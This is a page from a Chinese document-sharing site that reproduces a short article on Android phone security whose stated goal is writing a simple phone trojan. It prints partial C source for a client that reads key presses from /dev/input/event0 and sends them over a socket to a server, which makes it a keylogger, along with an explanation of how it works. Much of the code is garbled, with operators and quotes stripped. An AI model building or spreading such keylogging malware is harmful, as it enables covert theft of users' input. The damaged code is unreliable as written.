浅谈安卓手机安全及安卓手机木马编程.docVIP

浅谈安卓手机安全及安卓手机木马编程.doc

  1. 1、本文档共4页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  5. 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  6. 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  7. 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  8. 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
浅谈安卓手机安全及安卓手机木马编程.doc

浅谈安卓手机安全及安卓手机木马编程 摘 要:随着手机使用的普及,手机职能技术越来越先进,大部分手机都安装了最为先进的智能系统,不仅可以通话,同时还具备多种上网功能、在线购物付款功能、在线炒股、在线转账等功能,这些功能的加入同时也使得手机的安全性越来越受到威胁,因此研究现阶段智能手机的安全功能保障及相应的故障防卫编程成为智能手机发展的重要课题之一。 关键词:安卓手机;木马程序;编码 中图分类号:TP309.5 文献标识码:A 文章编号:1674-7712 (2013) 14-0000-01 在智能手机风生水起的时代,安卓智能手机占据了大部分席位,就最新统计的数据来看,Android智能手机在中国的占有率为86%。所以,正如Windows操作系统有如此多的用户一样,不可避免的会带来安全性问题。随着智能手机的普及,手机的安全性也变得越来越热门和重要。 android系统是一个以Linux为基础的半开源操作系统,其内核属于Linux内核的一个分支,具有典型的Linux调度和功能。所以,一个Native C程序,经过交叉编译,完全可以在Android系统上运行。 我们的目标是编写一个简单的手机木马,这个木马分为服务端和客户端两个部分,实现的功能是客户端可以获取手机的按键信息,并把信息发送给服务端。 核心源码如下: 其实这个手机木马就是通过socket连接来编写的,socket部分大家都应该比较清楚了,那就讲讲字符处理的部分吧。 服务端部分:服务端的核心部就是接收客户端发送的信息,并显示出来。 int main(int argc, char *argv[]) /*省略部分代码,以下为核心代码*/ while((len recv(client_sockfd,buf,BUFSIZ,0)) 0) printf(%s\n,buf); memset(buf,\0,BUFSIZ); if(send(client_sockfd,buf,len,0) 0) perror(write);return 1; close(client_sockfd);close(server_sockfd);return 0; 客户端部分:客户端的主要核心代码部分就是循环读取手机的字符存储设备,并发送给服务端。 int main(void) /*省略部分代码,以下为核心代码*/ event0_fd open(/dev/input/event0, O_RDWR); if ( event0_fd 0 ) return -1; printf(Start...\n); while (1) rd read(event0_fd, ev0, sizeof(struct input_event) * 64); if ( rd sizeof(struct input_event) ) return 0; for (i 0; i rd / sizeof(struct input_event); i++) if (ev0[i].type 1ev0[i].value 1) printf(The key code is: %3d\n, ev0[i].code); if (ev0[i].code 158) break; memset(buf,\0,BUFSIZ);sprintf(buf,%d,ev0[i].code); len send(client_sockfd,buf,strlen(buf),0); 源码中已经给出了很多注释,下面就来简单的分析一下源码,其实就是简单的Socket编程。 服务端程序就是不停的等待客户端发送的信息,这里就不再赘述,重点来看一下客户端程序。客户端的核心功能是获取手机的按键信息。 我们先拿起手机,在终端模拟器中键入:ls /dev/input,好的,我们看到了一些东西,比如event0,event1,event2等等,而event0正是我们所需要的,就是Android的按键子系统。 接下来就可以从/dev/input/event0中获取我们所需要的信息了,这部分的关键代码就是: event0_fd open(/dev/input/event0, O_RDWR); rd read(event0_fd, ev0, sizeof(struct input_event) * 64); if ( rd sizeof(struct input_event) ) return 0; for (i 0; i rd / sizeof(struct input_event); i++) if (ev0[i].type 1ev0[i].value 1) printf(The key code is: %3d\n,

您可能关注的文档

文档评论(0)

sis_lxf + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档